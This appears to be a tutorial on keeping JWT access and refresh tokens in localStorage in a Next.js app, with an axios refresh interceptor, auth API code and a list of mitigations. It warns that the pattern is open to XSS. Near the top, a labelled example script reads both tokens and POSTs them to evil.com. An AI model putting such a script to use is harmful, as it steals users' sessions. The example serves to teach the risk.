Loading…
Loading…
Both tokens stored in localStorage. Simple but vulnerable to XSS attacks. Only use for prototypes or low-risk applications.
localStorage is accessible to any JavaScript running on your page. If an XSS vulnerability exists, attackers can steal your authentication tokens. This is why localStorage is not recommended for production applications.
// ❌ XSS VULNERABILITY EXAMPLE
<script>
const accessToken = localStorage.getItem('auth_access_token');
const refreshToken = localStorage.getItem('auth_refresh_token');
fetch('https://evil.com/steal', {
method: 'POST',
body: JSON.stringify({ accessToken, refreshToken })
});
</script>User submits credentials. Server returns both tokens in response body.
Access and refresh tokens stored in localStorage.
Access token added to Authorization header manually.
Refresh token sent in request body (not cookie) to get new access token.
# .env.local
NEXT_PUBLIC_API_URL=http://localhost:3001
ACCESS_TOKEN_SECRET=your-access-token-secret-min-32-chars
REFRESH_TOKEN_SECRET=your-refresh-token-secret-min-32-chars
ACCESS_TOKEN_EXPIRY=15m
REFRESH_TOKEN_EXPIRY=7d// src/lib/api-client.ts
import axios, { AxiosError, InternalAxiosRequestConfig } from 'axios';
import { localStorageStrategy } from './token-storage';
export const apiClient = axios.create({
baseURL: process.env.NEXT_PUBLIC_API_URL || 'http://localhost:3001',
headers: { 'Content-Type': 'application/json' },
});
apiClient.interceptors.request.use(
(config) => {
const token = localStorageStrategy.getAccessToken();
if (token) config.headers.Authorization = 'Bearer ' + token;
return config;
},
(error) => Promise.reject(error)
);
let isRefreshing = false;
let failedQueue: Array<{ resolve: (token: string) => void; reject: (error: any) => void; }> = [];
const processQueue = (error: any, token: string | null) => {
failedQueue.forEach((prom) => { error ? prom.reject(error) : prom.resolve(token!); });
failedQueue = [];
};
apiClient.interceptors.response.use(
(response) => response,
async (error: AxiosError) => {
const originalRequest = error.config as InternalAxiosRequestConfig & { _retry?: string };
if (error.response?.status === 401 && !originalRequest._retry) {
if (isRefreshing) {
return new Promise((resolve, reject) => { failedQueue.push({ resolve, reject }); })
.then((token) => { originalRequest.headers.Authorization = 'Bearer ' + token; return apiClient(originalRequest); });
}
originalRequest._retry = 'true'; isRefreshing = true;
try {
const refreshToken = localStorageStrategy.getRefreshToken();
if (!refreshToken) throw new Error('No refresh token');
const res = await axios.post(process.env.NEXT_PUBLIC_API_URL + '/auth/refresh', { refreshToken });
const { accessToken, refreshToken: newRefreshToken } = res.data;
localStorageStrategy.setTokens(accessToken, newRefreshToken);
processQueue(null, accessToken);
originalRequest.headers.Authorization = 'Bearer ' + accessToken;
return apiClient(originalRequest);
} catch (refreshError) {
processQueue(refreshError, null);
localStorageStrategy.clearTokens();
window.location.href = '/auth/login';
return Promise.reject(refreshError);
} finally { isRefreshing = false; }
}
return Promise.reject(error);
}
);// src/api/auth/auth.api.ts
import { apiClient } from '@/lib/api-client';
import { localStorageStrategy } from '@/lib/token-storage';
export const authApi = {
login: async (email: string, password: string) => {
const res = await apiClient.post('/auth/login', { email, password });
const { user, accessToken, refreshToken } = res.data;
localStorageStrategy.setTokens(accessToken, refreshToken);
return { user };
},
register: async (name: string, email: string, password: string) => {
const res = await apiClient.post('/auth/register', { name, email, password });
const { user, accessToken, refreshToken } = res.data;
localStorageStrategy.setTokens(accessToken, refreshToken);
return { user };
},
logout: async () => {
try { await apiClient.post('/auth/logout'); }
finally { localStorageStrategy.clearTokens(); }
},
getMe: async () => { const res = await apiClient.get('/auth/me'); return res.data; },
};// If you MUST use localStorage, here are mitigations:
// 1. Short token lifetime (5m access, 1h refresh)
// 2. Rotate refresh tokens on each refresh
// 3. Store token fingerprint (hash of user agent + IP)
// 4. Use CSP headers: Content-Security-Policy: default-src 'self'
// 5. Sanitize all user input to prevent XSS
// BUT: These are mitigations, not solutions.